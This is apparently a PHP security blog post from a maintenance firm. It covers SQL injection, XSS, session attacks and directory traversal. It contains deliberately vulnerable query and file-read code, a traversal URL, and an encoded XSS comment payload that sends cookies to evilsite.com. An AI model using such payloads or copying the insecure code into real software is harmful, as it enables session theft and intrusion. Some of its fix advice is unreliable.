Security is very important to web application stakeholders, but it’s often an afterthought for developers. Even worse, security involves ongoing maintenance that can be difficult to justify in software budgets, meaning that security holes will inevitably develop over time without the right policies in place.
In this article, we will outline some of the most common security issues hiding in PHP applications and discuss how they can be solved. We will then take a look at how to ensure that security vulnerabilities remain under control over time.
Many web developers aren’t security experts and skipping basic validations can result in severe security holes.
SQL injections are a technique whereby an attacker will create or alter existing SQL commands to expose or override data.
For example, suppose that your PHP application lets a user change their password with a query built like this:
$query = "UPDATE users SET password='$password' WHERE user_id='$user_id'";
Since the `$password` variable isn’t sanitised before being used in a query, an attacker could easily make themselves an administrator by inputting something like this into the password field on the web form:
If there was an `admin` field on the `users` table, it would be set to `yes` and that user would have admin privileges.
The best way to avoid these kinds of attacks is to sanitize all user inputs by ensuring that they are a specific data type (e.g. an number rather than a text) or explicitly checking to see if they’re malicious SQL commands using third-party libraries.
Cross-Site Scripting, or XSS, vulnerabilities are extremely common. In fact, some estimates suggest that more than half of all web applications could be vulnerable.
For example, suppose that you have a PHP forum where users can leave comments. There’s no validation in place and someone leaves a comment like this:
<img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-wp-preserve="%3Cscript%3Edocument.write('%3Ciframe%20src%3D%22http%3A%2F%2Fwww.evilsite.com%3Fcookie%3D'%2B%20document.cookie.escape()%20%2B'%22%20height%3D0%20width%3D0%20%2F%3E')%3B%3C%2Fscript%3E" data-mce-resize="false" data-mce-placeholder="1" class="mce-object" alt="<script>" title="<script>" />
The script will be executed by any visitors viewing the forum post and any code on EvilSite.com will be executed on your domain and the your web application’s cookie will be shared. If an administrator’s cookie is sent, it could expose credentials that enable the attacker to compromise your application.
Again, the best way to avoid these kinds of attacks is to sanitize all user inputs by escaping it or validating it to ensure that there’s no malicious code.
Google has become a cheerleader for SSL certificates over the past couple of years by actively penalizing companies that don’t secure their websites. If that’s not enough of a reason, Let’s Encrypt made SSL certificates available for free to everyone in an attempt to secure the web.
What’s the big deal with SSL?
Session hijacking is one of the most common security threats for non-SSL web applications. If a user is on a public network, attackers can eavesdrop and read all messages passing through that aren’t in encrypted with SSL. That can include session IDs and login details that can be used to access sensitive accounts.
If your PHP application stores sessions in a `$_GET` variable, you may also be exposed to session fixation. These attacks involve forcing the creation of a valid session rather than trying to steal it.
There are many different ways to prevent these kinds of attacks. For example, you can store sessions in cookies rather than `$_GET` variables, timeout sessions, and regenerate session IDs with each sign-in. But, the most effective way is to use SSL or TLS to encrypt information between the client and server.
It turns out that using `$_GET` variables creates problems that go well beyond session hijacking.
Suppose that you have a custom PHP CMS that uses these variables for navigation purposes:
$page = $_GET['page'];
$file = "/pages/$page";
$handler = fopen($file, "r");
$content = fread($handler, filesize($file));
Directory traversal attacks can occur in these situations when a malicious user navigates to URLs like `index.php?page=../admin/login.php`. In essence, they can access any part of the filesystem and look for a way to compromise the application.
There are many different ways to solve these kinds of problems, such as avoiding relative URLs or sanitizing inputs. But, a common strategy is to use built-in functions like `basename(realpath($_GET))` to strip out all directory information from the path and return a full path to the file.
How to secure your app
The easiest and most impactful way to reduce security vulnerabilities is to keep everything up-to-date, including the language, framework, and any third-party dependencies. More often than not, security vulnerabilities are known bugs that have already been fixed by dependency maintainers.
When application-specific vulnerabilities arise, the problems aren’t necessarily hard to fix, but they can be very hard to find. Even worse, there are many other “unknown unknowns” out there. These are security issues that you may not be aware of in the first place-they’re not even on your radar!
Security issues are most common in legacy applications that haven’t been properly maintained. In these instances, it’s important to conduct a security audit to identify any issues and immediately resolve them. Here at Siftware we provide specialised web application support and maintenance services for these scenarios.
When developing new applications, you may want to consider using existing frameworks that handle a lot of security for you. A great example is how platforms may abstract database interactions to avoid SQL injection issues and validate input. Of course, the PHP frameworks themselves must remain up-to-date as well.
If you’d like to see if Siftware is a good fit for you and your project, please don’t hesitate to get in touch.